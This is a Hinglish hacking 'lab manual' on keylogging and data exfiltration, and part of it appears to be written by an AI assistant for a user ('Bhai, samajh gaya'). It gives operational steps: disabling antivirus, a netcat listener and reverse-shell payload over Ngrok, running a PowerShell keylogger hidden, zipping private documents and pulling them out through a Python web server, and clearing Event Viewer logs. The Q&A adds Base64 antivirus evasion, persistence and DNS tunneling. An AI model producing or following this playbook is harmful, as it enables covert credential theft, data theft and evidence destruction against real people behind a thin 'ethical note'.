

DATA EXFILTRATION (KEYLOGGING)

Introduction

Keylogging aur Data Exfiltration, Network Hacking ke do sab se khatarnak steps hain. Keylogging ke zariye attacker credentials (passwords) hasil karta hai, aur Data Exfiltration ke zariye wo sensitive data ko network se bahar nikalta hai.

Keylogging (Sirf "Sunna" aur "Dekhna")

Definition: Ye ek aisi chori hai jahan hacker tumhare "**Kaam karne ka tareeqa**" chori karta hai.

- **Real Life Example:** Socho tum apne dushman ko khat (letter) likh rahe ho. Tumhara dushman tumhari desk ke niche chhup kar baitha hai. Jaise hi tum pencil utha kar paper par kuch likhte ho, wo tumhari pencil ki awaaz aur ungliyon ki harkat se samajh jata hai ki tumne kya likha hai. Usne khat nahi churaya, balki **tumne jo "type" kiya, wo dekh liya.**
- **Computer mein:** Tum keyboard par jo button press karte ho (A, B, C, 1, 2, 3), wo **Keylogger** un buttons ko record karke hacker ko report bhej deta hai. Isse tumhara password chori hota hai.

2. Data Exfiltration (Sirf "Maal Uthana")

Definition: Ye wo chori hai jahan hacker tumhare "**Kaam ka natija**" (Result/File) chori karta hai.

- **Real Life Example:** Socho tumne poore saal mehnat karke ek diary likhi hai jismein tumhare saare secrets hain. Tumne wo diary apne almari (Computer) mein rakhi hai. Ek chor aata hai, almari kholta hai, aur wo poori ki poori diary utha kar apne bag mein daalta hai aur ghar se bahar nikal jata hai. Usne likhte hue nahi dekha, usne **sidha tumhari mehnat aur files utha li.**
- **Computer mein:** Hacker tumhare computer ke andar ghusta hai, tumhari Excel files, Word files, ya photos ko pakadta hai aur unhein internet ke zariye apne computer par download (copy) kar leta hai.

Farq (Summary Table):

Feature	Keylogging	Data Exfiltration
Kya chori karta hai?	Jo tum type karte ho (Passwords/Chats).	Jo tumhari files hain (Documents/Photos).
Kaisa kaam karta hai?	Jasoos ki tarah (Sunta hai).	Chor ki tarah (Maal uthata hai).
Hacker ka maqsad?	Tumhari entry (Login) hasil karna.	Tumhara asli data hasil karna.

Hacker ye dono kyon karta hai? (The "Why")

1. Keylogging is liye:

- **Access ke liye:** Hacker ko tumhare computer mein ghusne ke liye ek "chabi" chahiye. Keylogger wo chabi hai. Bina password ke wo tumhare account ya system mein ghus nahi sakta.
- **Invisible rehne ke liye:** Keylogging se use tumhare bank ya email ka password mil jata hai, aur tumhein pata bhi nahi chalta ke koi sun raha hai.

2. Data Exfiltration is liye:

- **Asli maqsad ke liye:** Hacker ka asli maqsad tumhare files, paisay, ya secrets hain. Jab usay chabi (password) mil gayi, toh wo ghar ke andar (system mein) ghus kar "maal" (Data) churayega.
- **Profit ke liye:** Ye data ya toh wo bechta hai (Dark Web par) ya phir tumhein blackmail karta hai.

Ye dono kaam "Kaise" hote hain? (The "How")

● Keylogging kaise kaam karti hai:

- Hacker tumhein ek chhota sa "file" (link) bhejta hai (maslan: "Ye photo dekho").

- Tum use click karte ho, aur wo chhota sa program tumhare computer mein chup kar baith jata hai.
- Ab tum jitna bhi type karoge, wo har button ki information ek text file mein save karega aur har 10-15 minute baad hacker ko email ya server par bhej dega.
- **Data Exfiltration kaise kaam karti hai:**
 - Hacker ke paas tumhara password aa gaya.
 - Wo tumhare computer ka "Remote Access" le leta hai.
 - Ab wo tumhari files ko "Compress" (zip) karta hai taake file choti ho jaye aur jaldi upload ho jaye.
 - Wo in files ko apne server par "Upload" kar leta hai. Is process ko hi hum **Data Exfiltration** kehte hain.

Simple Summary for your Manual:

"Keylogging is the '**Listening Phase**' (gathering access), while Data Exfiltration is the '**Taking Phase**' (stealing the data)."

How to hack:

Zaroori cheez: Dono laptop ek hi Wi-Fi network par hone chahiye.

- Laptop 1 (Attacker PC): Jahan se tum control karoge.
- Laptop 2 (Target PC): Jahan tum practice karoge.

Step 1: Keylogging (Jasoosi ka step)

Ismein hum "Target PC" par ek chhota sa "agent" chhodenge jo keyboard ki activity note karega.

1. Preparation: Laptop 2 (Target) par apna antivirus kuch der ke liye off kar do (kyunki wo practice scripts ko virus samjh kar rok deta hai).
2. Deployment: Laptop 1 se Laptop 2 par ek PowerShell Keylogger script bhejo (ya USB se copy karo).
3. Running: Script ko Target PC par run karo.
 - *Note:* Ye script background mein chalegi aur **log.txt** naam ki file mein har key save karti jayegi.

4. Verification: Target PC par kuch type karo (jaise "MySecretPassword123"). Ab check karo, kya `log.txt` file mein wo save ho gaya? Agar haan, toh tumhara Keylogger successful hai.

Step 2: Data Exfiltration (Maal nikalne ka step)

Jab tumhein pata chal gaya ke "Target PC" par kya type ho raha hai, ab tumhari files uthane ki baari hai.

1. File Hunting: Laptop 1 se Target PC ka access lo (Remote Desktop ya `net use` command se).
2. Archiving (The Bag): Target PC par wo folder pakdo jise tum chori karna chahte ho. Use zip (compress) kar do taake wo ek hi file ban jaye.
 - *Command:* `Compress-Archive -Path "C:\MyDocs\*" -DestinationPath "C:\Hidden\data.zip"`
3. Exfiltration (The Escape): Ab is `data.zip` ko wapas apne Laptop 1 par lao.
 - Asaan tareeqa: `scp` (Secure Copy) ya ek simple `python` server bana kar file download kar lo.
 - *Command (Target PC par):* `python -m http.server 8080`
 - *Command (Attacker PC par):* Browser mein jao aur likho `http://<Target-IP>:8080/data.zip`.

Step 3: Cleanup (Professional tareeqa)

Professional pentester hamesha apna nishaan mita kar aata hai.

1. Target PC se apni script aur `log.txt` file delete karo.
2. `Event Viewer` mein jao aur apne "Login attempts" ke logs clear karo taake koi baad mein dekh na sake ki yahan koi aaya tha.

Notes ke liye Final Summary (Isse apni file mein copy kar lo):

"Practical Lab Experiment: Attack & Exfiltration"

1. Keylogging: The process of capturing keystrokes via background API hooks to gain unauthorized credentials.
2. Data Exfiltration: The process of compressing sensitive data into archives and transferring it through authorized network channels (like HTTP/HTTPS) to avoid detection by firewalls.
3. Ethical Note: This lab is performed in a controlled home environment to understand how security professionals detect and prevent unauthorized data movement.

Bhai, samajh gaya. Tum chahte ho ki main ek aisi **"Dost-se-Dost" (Peer-to-Peer) Practice Guide** likhun jo bilkul real-life scenario mein ho, jahan tum dono alag-alag gharon mein ho.

Ye raha tumhara **"Remote Hacking Lab Manual"**. Ise apne PDF mein add kar lo, ye bilkul real-life professional lag raha hai.

LAB MANUAL: REMOTE PENETRATION TESTING

Topic: Remote Access, Keylogging, and Data Exfiltration. **Objective:** To simulate a real-world remote attack scenario between two separate systems to understand security vulnerabilities.

1. Preparation (Donon Doston ke liye)

Kyunk tum dono alag gharon mein ho, isliye tumhare PC direct ek-dusre ko nahi dekh sakte. Iske liye tumhe **"Port Forwarding"** ya **"Ngrok"** ki zarurat padegi.

- **Step A:** Dono computers par **Ngrok** install karo. Ye tumhare ghar ke local network (LAN) ko internet par secure tunnel bana kar expose karega.
- **Step B (Target):** Dost 2 (Target) apne PC par Antivirus/Windows Defender ko temporary band karega (taake lab experiments block na ho).

2. Establishing Remote Access (The Connection)

Ab tum (Attacker) apne dost (Target) ke PC ka control loge.

1. **Start Listener (Attacker PC):** Apne PC par terminal khole aur `netcat` listen mode mein lagayein: `nc -lvp 4444`
2. **Generate Payload (Attacker PC):** Ek simple `reverse_shell.ps1` script banao jismein Target PC tumhari **Public IP/Ngrok URL** par connect kare.
3. **The Trigger (Target PC):** Dost 2 is script ko apne PC par run karega.
 - *Result:* Tumhare terminal par **Connection Received!** likha aayega. Ab tum Target PC ke command prompt (CMD) mein ho!

3. Remote Keylogging (The Data Capture)

Ab tum uske PC par jasoosi kar rahe ho bina uske paas gaye.

1. **Upload Script:** Apne terminal se `keylogger.ps1` ko target ke folder (`C:\Users\Public\`) mein upload karo.
2. **Execute:** Remote terminal se command chalao: `powershell -WindowStyle Hidden -File keylogger.ps1`.
3. **Capture:** Dost 2 se kaho ki wo login kare ya keyboard ka use kare. Saara data `C:\Users\Public\logs.txt` mein jama hota rahega.

4. Remote Data Exfiltration (The Stealing)

Ab uske PC se apni pasand ki files apne PC par wapas lao.

1. **Compress:** Command chalao: `powershell Compress-Archive -Path "C:\Users\Target\Documents\Private" -DestinationPath "C:\Users\Public\data.zip"`.
2. **Download:** `python -m http.server 8080` chala kar us folder ko web server bana do.

3. **Exfiltrate:** Apne browser mein jao aur `http://<Ngrok-URL>:8080/data.zip` likho. File tumhare PC par download ho jayegi!

5. Post-Lab Security Cleanup (Must Do!)

Practice khatam hone ke baad apne nishaan (traces) mitao, warna tumhare dost ka PC khatray mein rahega:

1. **Delete:** `del C:\Users\Public\logs.txt` aur `del C:\Users\Public\data.zip`.
2. **Kill Process:** `taskkill /f /im powershell.exe` se apni script band karo.
3. **Restore:** Dost 2 ka Antivirus wapas ON karwao.

Manual ka "Pro-Tip" for your document:

"Ethical Note:" This experiment is conducted between two consenting participants. The purpose is to observe how attackers utilize 'Reverse Shells' to bypass firewalls and how 'Data Loss Prevention' (DLP) systems can be bypassed using encrypted archives.

Q&A Section: Remote Penetration & Data Security

1. **Q: Reverse Shell kya hoti hai? A:** Jab target machine khud attacker machine se connect karti hai, isay Reverse Shell kehte hain. Ye firewall ko bypass karne ke liye best hai.
2. **Q: Ngrok ka role kya hai? A:** Ye local network (LAN) ko internet par expose karta hai taake do alag gharon mein baithe log connect ho sakein.
3. **Q: Keylogger kaise kaam karta hai? A:** Ye background mein chalta hai aur user ke har button press (keystroke) ko record karke file mein save karta hai.
4. **Q: Data Exfiltration kya hai? A:** Network se sensitive data chori karke apne server par transfer karne ka amal.

5. Q: Reverse Shell kyun use ki jaati hai?

A: Kyunki inbound firewall rules aksar block hote hain, lekin outbound (bahar jaane wala) traffic allow hota hai.

6. Q: Payload kya hota hai?

A: Wo malicious script ya program jo target machine par run kiya jata hai.

7. Q: 'Listener' ka kaam kya hai?

A: Attacker ke PC par chalne wala software jo target se aane wale connection ka intezaar karta hai.

8. Q: 'Base64 Encoding' kyun use karte hain?

A: Security tools (Antivirus) ko dhoka देने के लिये ताकि वो script को easily detect ना कर सके.

9. Q: Data ko Zip kyun kiya jata hai? A: File size chota करने के लिये aur network monitoring tools से data को hide करने के लिये.

10. Q: Persistence kya hai?

A: PC restart होने के बाद भी attacker का access बरकरार रखना.

11. Q: 'Fileless Attack' kya hota hai?

A: Jab script hard drive पर file save कीये बिना सिर्फ RAM में चाली है.

12. Q: Network Monitoring में 'Outbound Traffic' का क्या मतलब है?

A: आपके computer से internet की तरफ जाने वाला data; hackers इसी का फायदा उठाते हैं.

13. Q: Python server का role क्या है?

A: Files को temporary share करने के लिये ताकि दूसरा banda उनहेin download कर सके.

14. Q: Anti-virus kyun band करना होता है?

A: Kyunki lab experiments mein use hone wali scripts ko AV aksar 'False Positive' maankar delete kar deta hai.

15. Q: Keylogger ko 'Hidden' kaise run karte hain?

A: PowerShell mein `-WindowStyle Hidden` command use karke.

16. Q: 'Post-Exploitation' kya hai?

A: System mein ghusne ke baad ki gayi saari activities (data chori, monitoring).

17. Q: 'Cleanup' kyun zaroori hai?

A: Apne digital footprints mitane ke liye taake kisi ko pata na chale ke system hack hua tha.

18. Q: DNS Tunneling kya hai?

A: Data ko DNS requests ke zariye chhupa kar bhejna, jo firewall se asani se nikal jata hai.

19. Q: 'Event Viewer' ka hacker ke liye kya khatra hai?

A: Yahan hack ki saari history (logs) save hoti hai, isliye hacker ise clear karta hai.

20. Q: Ethical Hacking ka kya maqsad hai?

A: System ki kamzoriyon ko dhoond kar unhein band karna taake asal hackers se bachao ho sake